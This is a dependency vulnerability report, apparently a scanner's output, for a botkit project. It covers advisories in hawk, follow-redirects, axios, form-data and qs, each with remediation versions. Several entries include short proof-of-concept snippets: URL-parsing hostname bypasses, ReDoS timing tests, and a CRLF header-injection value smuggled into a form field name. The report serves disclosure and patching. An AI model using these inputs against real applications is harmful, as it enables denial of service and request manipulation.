Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: hawk
  • Introduced through: twilio@2.11.1

Detailed paths

  • Introduced through: botkit@christopheraparicio/botkit#HEAD twilio@2.11.1 request@2.74.0 hawk@3.1.3
    Remediation: Upgrade to twilio@3.17.1.

Overview

hawk is a library for the HTTP Hawk Authentication Scheme.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in header parsing where each added character in the attacker's input increases the computation time exponentially.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade hawk to version 9.0.1 or higher.

References

high severity

Improper Handling of Extra Parameters

  • Vulnerable module: follow-redirects
  • Introduced through: localtunnel@1.9.2

Detailed paths

  • Introduced through: botkit@christopheraparicio/botkit#HEAD localtunnel@1.9.2 axios@0.19.0 follow-redirects@1.5.10
    Remediation: Upgrade to localtunnel@2.0.1.

Overview

Affected versions of this package are vulnerable to Improper Handling of Extra Parameters due to the improper handling of URLs by the url.parse() function. When new URL() throws an error, it can be manipulated to misinterpret the hostname. An attacker could exploit this weakness to redirect traffic to a malicious site, potentially leading to information disclosure, phishing attacks, or other security breaches.

PoC

# Case 1 : Bypassing localhost restriction
let url = 'http://[localhost]/admin';
try{
    new URL(url); // ERROR : Invalid URL
}catch{
    url.parse(url); // -> http://localhost/admin
}

# Case 2 : Bypassing domain restriction
let url = 'http://attacker.domain*.allowed.domain:a';
try{
    new URL(url); // ERROR : Invalid URL
}catch{
    url.parse(url); // -> http://attacker.domain/*.allowed.domain:a
}

Remediation

Upgrade follow-redirects to version 1.15.4 or higher.

References

high severity

Cross-site Request Forgery (CSRF)

  • Vulnerable module: axios
  • Introduced through: localtunnel@1.9.2

Detailed paths

  • Introduced through: botkit@christopheraparicio/botkit#HEAD localtunnel@1.9.2 axios@0.19.0

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Cross-site Request Forgery (CSRF) due to inserting the X-XSRF-TOKEN header using the secret XSRF-TOKEN cookie value in all requests to any server when the XSRF-TOKEN0 cookie is available, and the withCredentials setting is turned on. If a malicious user manages to obtain this value, it can potentially lead to the XSRF defence mechanism bypass.

Workaround

Users should change the default XSRF-TOKEN cookie name in the Axios configuration and manually include the corresponding header only in the specific places where it's necessary.

Remediation

Upgrade axios to version 0.28.0, 1.6.0 or higher.

References

high severity

HTTP Response Splitting

  • Vulnerable module: axios
  • Introduced through: localtunnel@1.9.2

Detailed paths

  • Introduced through: botkit@christopheraparicio/botkit#HEAD localtunnel@1.9.2 axios@0.19.0

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to HTTP Response Splitting via the parseTokens header processing path in lib/core/AxiosHeaders.js. An attacker can smuggle HTTP requests or inject arbitrary headers by supplying a header value containing \r\n, which Axios merges into an outbound request. Under specific conditions, this can be used to exfiltrate cloud metadata tokens, pivot into internal services, or poison downstream HTTP traffic.

Notes

  • Exploitation requires prior successful prototype pollution in a third-party dependency, enabling attacker-controlled header data to flow into Axios via configuration merging or AxiosHeaders.set(...).
  • IMDSv2 token exfiltration (described in the original vulnerability report as another step in the exploit chain following the smuggling of a PUT request) further depends on the application running in an AWS environment with instance metadata access enabled, and on the Axios process having network access to the metadata endpoint.
  • A possible but uncommon vector mentioned in the maintainers' advisory relies on the use of a non standard Axios transport mechanism, e.g. a custom adapter, to bypass Node.js header validation, thereby permitting malformed or injected header values to be transmitted without rejection. In most cases, this vector is blocked by Node.JS's built in header validation.

Remediation

Upgrade axios to version 0.31.0, 1.15.0 or higher.

References

high severity

Prototype Pollution

  • Vulnerable module: axios
  • Introduced through: localtunnel@1.9.2

Detailed paths

  • Introduced through: botkit@christopheraparicio/botkit#HEAD localtunnel@1.9.2 axios@0.19.0

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution through the config.proxy property in the HTTP adapter, which accesses properties via the prototype chain. An attacker can intercept and modify all HTTP requests and responses, including sensitive authentication credentials, by polluting the Object.prototype with a malicious proxy object. This allows the attacker to route all HTTP traffic through a proxy server under their control, enabling full visibility and manipulation of data in transit.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade axios to version 0.32.0, 1.16.0 or higher.

References

medium severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: axios
  • Introduced through: localtunnel@1.9.2

Detailed paths

  • Introduced through: botkit@christopheraparicio/botkit#HEAD localtunnel@1.9.2 axios@0.19.0

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the data: URL handler. An attacker can trigger a denial of service by crafting a data: URL with an excessive payload, causing allocation of memory for content decoding before verifying content size limits.

Remediation

Upgrade axios to version 0.30.0, 1.12.0 or higher.

References

medium severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: axios
  • Introduced through: localtunnel@1.9.2

Detailed paths

  • Introduced through: botkit@christopheraparicio/botkit#HEAD localtunnel@1.9.2 axios@0.19.0

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the data.pipe(req) upload path in the HTTP adapter. An attacker can send a streamed request body larger than the configured maxBodyLength while maxRedirects is 0, causing the client to transmit the oversized payload to the server instead of stopping at the limit. This lets a remote peer force excessive bandwidth and request processing on applications that rely on maxBodyLength to cap upload size, potentially exhausting resources and disrupting service.

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

medium severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: axios
  • Introduced through: localtunnel@1.9.2

Detailed paths

  • Introduced through: botkit@christopheraparicio/botkit#HEAD localtunnel@1.9.2 axios@0.19.0

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the HTTP response handling path in the http.js adapter. An attacker can force a client to accept and process a response body larger than maxContentLength by sending a streamed response with an oversized payload. This allows a remote server to bypass the configured response-size limit, causing the application to read and buffer more data than intended, potentially exhausting memory or stalling request processing.

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: axios
  • Introduced through: localtunnel@1.9.2

Detailed paths

  • Introduced through: botkit@christopheraparicio/botkit#HEAD localtunnel@1.9.2 axios@0.19.0

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in the read function when attacker-controlled input is used as the cookie name parameter, which is interpolated into a regular expression without proper escaping. An attacker can cause excessive CPU consumption and freeze the browser tab by supplying specially crafted input that triggers catastrophic backtracking in the regex engine.

Note:

This is only exploitable if attacker-controlled data can reach the XSRF cookie name configuration or a direct/unsafe call to the internal cookie helper.

Workaround

This vulnerability can be mitigated by setting the XSRF cookie name configuration to null if XSRF protection is not required, avoiding the use of attacker-controlled input for the cookie name, and validating cookie names against a strict allowlist before passing them to the relevant function.

PoC

function vulnerableRead(name, cookie) {
  const start = Date.now();

  try {
    cookie.match(new RegExp('(?:^|; )' + name + '=([^;]*)'));
  } catch {}

  return Date.now() - start;
}

for (const n of [20, 22, 24, 26, 28]) {
  const cookie = 'x='.padEnd(n, 'a') + '!';
  console.log(`${n}: ${vulnerableRead('(.+)+$', cookie)}ms`);
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade axios to version 0.32.0, 1.16.0 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: axios
  • Introduced through: localtunnel@1.9.2

Detailed paths

  • Introduced through: botkit@christopheraparicio/botkit#HEAD localtunnel@1.9.2 axios@0.19.0

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can deplete system resources by providing a manipulated string as input to the format method, causing the regular expression to exhibit a time complexity of O(n^2). This makes the server to become unable to provide normal service due to the excessive cost and time wasted in processing vulnerable regular expressions.

PoC

const axios = require('axios');

console.time('t1');
axios.defaults.baseURL = '/'.repeat(10000) + 'a/';
axios.get('/a').then(()=>{}).catch(()=>{});
console.timeEnd('t1');

console.time('t2');
axios.defaults.baseURL = '/'.repeat(100000) + 'a/';
axios.get('/a').then(()=>{}).catch(()=>{});
console.timeEnd('t2');


/* stdout
t1: 60.826ms
t2: 5.826s
*/

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade axios to version 0.29.0, 1.6.3 or higher.

References

medium severity

Server-side Request Forgery (SSRF)

  • Vulnerable module: axios
  • Introduced through: localtunnel@1.9.2

Detailed paths

  • Introduced through: botkit@christopheraparicio/botkit#HEAD localtunnel@1.9.2 axios@0.19.0

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) through the AxiosHeaders normalization path and shouldBypassProxy helper. An attacker can smuggle CRLF and other control characters into request header values by supplying crafted header input, causing injected header fields to be sent on outbound requests and potentially altering how downstream servers interpret the request; in proxy configurations, a request to localhost, 127.0.0.1, or ::1 can be routed differently depending on the no_proxy entry, allowing loopback traffic to bypass the intended proxy handling.

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

medium severity

Uncontrolled Recursion

  • Vulnerable module: axios
  • Introduced through: localtunnel@1.9.2

Detailed paths

  • Introduced through: botkit@christopheraparicio/botkit#HEAD localtunnel@1.9.2 axios@0.19.0

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Uncontrolled Recursion in the defaultVisitor function of lib/helpers/toFormData.js, which calls JSON.stringify() on a value when its top-level key ends in {}, before the maxDepth guard can inspect the nested structure. An attacker can crash the process by supplying an object with a top-level key ending in {} and thousands of levels of nesting, which native JSON.stringify() recurses through until the call stack overflows with a RangeError. Exploitation requires the application to pass untrusted input through axios as data or params, with a top-level key ending in {} and nesting beyond roughly 2500 to 3000 levels.

Note: This is a bypass of the fix for the vulnerability described in CVE-2026-42039.

Remediation

Upgrade axios to version 0.33.0, 1.18.0 or higher.

References

medium severity

CRLF Injection

  • Vulnerable module: form-data
  • Introduced through: request@2.88.2, botbuilder@3.30.0 and others

Detailed paths

  • Introduced through: botkit@christopheraparicio/botkit#HEAD request@2.88.2 form-data@2.3.3
  • Introduced through: botkit@christopheraparicio/botkit#HEAD botbuilder@3.30.0 request@2.88.2 form-data@2.3.3
  • Introduced through: botkit@christopheraparicio/botkit#HEAD botkit-studio-sdk@1.0.9 request@2.88.2 form-data@2.3.3
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 form-data@2.3.3
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-logger@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 form-data@2.3.3
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-people@0.7.93 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 form-data@2.3.3
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 form-data@2.3.3
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/storage-adapter-local-storage@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 form-data@2.3.3
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 form-data@2.3.3
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-metrics@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 form-data@2.3.3
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-metrics@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 form-data@2.3.3
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-metrics@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 form-data@2.3.3
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 form-data@2.3.3
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 form-data@2.3.3
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 form-data@2.3.3
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/plugin-feature@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 form-data@2.3.3
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/plugin-feature@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 form-data@2.3.3
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/plugin-feature@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 form-data@2.3.3
  • Introduced through: botkit@christopheraparicio/botkit#HEAD twilio@2.11.1 request@2.74.0 form-data@1.0.1

Overview

Affected versions of this package are vulnerable to CRLF Injection via the _multiPartHeader function when untrusted input is provided via field or filename to FormData#append. An attacker can inject additional headers or multipart parts by including carriage returns, line feeds, or double quotes in the input. This can allow the modification or addition of form fields visible to downstream parsers.

PoC

const FormData = require('form-data');
const form = new FormData();
form.append('email"\r\nX-Injected: true\r\nfake="', 'user@example.com');
console.log(form.getBuffer().toString());

Remediation

Upgrade form-data to version 2.5.6, 3.0.5, 4.0.6 or higher.

References

medium severity
new

Uncaught Exception

  • Vulnerable module: qs
  • Introduced through: body-parser@1.20.6, express@4.22.2 and others

Detailed paths

  • Introduced through: botkit@christopheraparicio/botkit#HEAD body-parser@1.20.6 qs@6.15.3
    Remediation: Upgrade to body-parser@2.1.0.
  • Introduced through: botkit@christopheraparicio/botkit#HEAD express@4.22.2 qs@6.15.3
    Remediation: Upgrade to express@5.1.0.
  • Introduced through: botkit@christopheraparicio/botkit#HEAD express@4.22.2 body-parser@1.20.6 qs@6.15.3
    Remediation: Upgrade to express@5.0.0.
  • Introduced through: botkit@christopheraparicio/botkit#HEAD request@2.88.2 qs@6.5.5
  • Introduced through: botkit@christopheraparicio/botkit#HEAD botbuilder@3.30.0 request@2.88.2 qs@6.5.5
  • Introduced through: botkit@christopheraparicio/botkit#HEAD botkit-studio-sdk@1.0.9 request@2.88.2 qs@6.5.5
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 qs@6.5.5
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-logger@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 qs@6.5.5
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-people@0.7.93 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 qs@6.5.5
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 qs@6.5.5
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/storage-adapter-local-storage@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 qs@6.5.5
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 qs@6.5.5
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-metrics@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 qs@6.5.5
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-metrics@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 qs@6.5.5
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-metrics@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 qs@6.5.5
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 qs@6.5.5
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 qs@6.5.5
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 qs@6.5.5
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/plugin-feature@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 request@2.88.2 qs@6.5.5
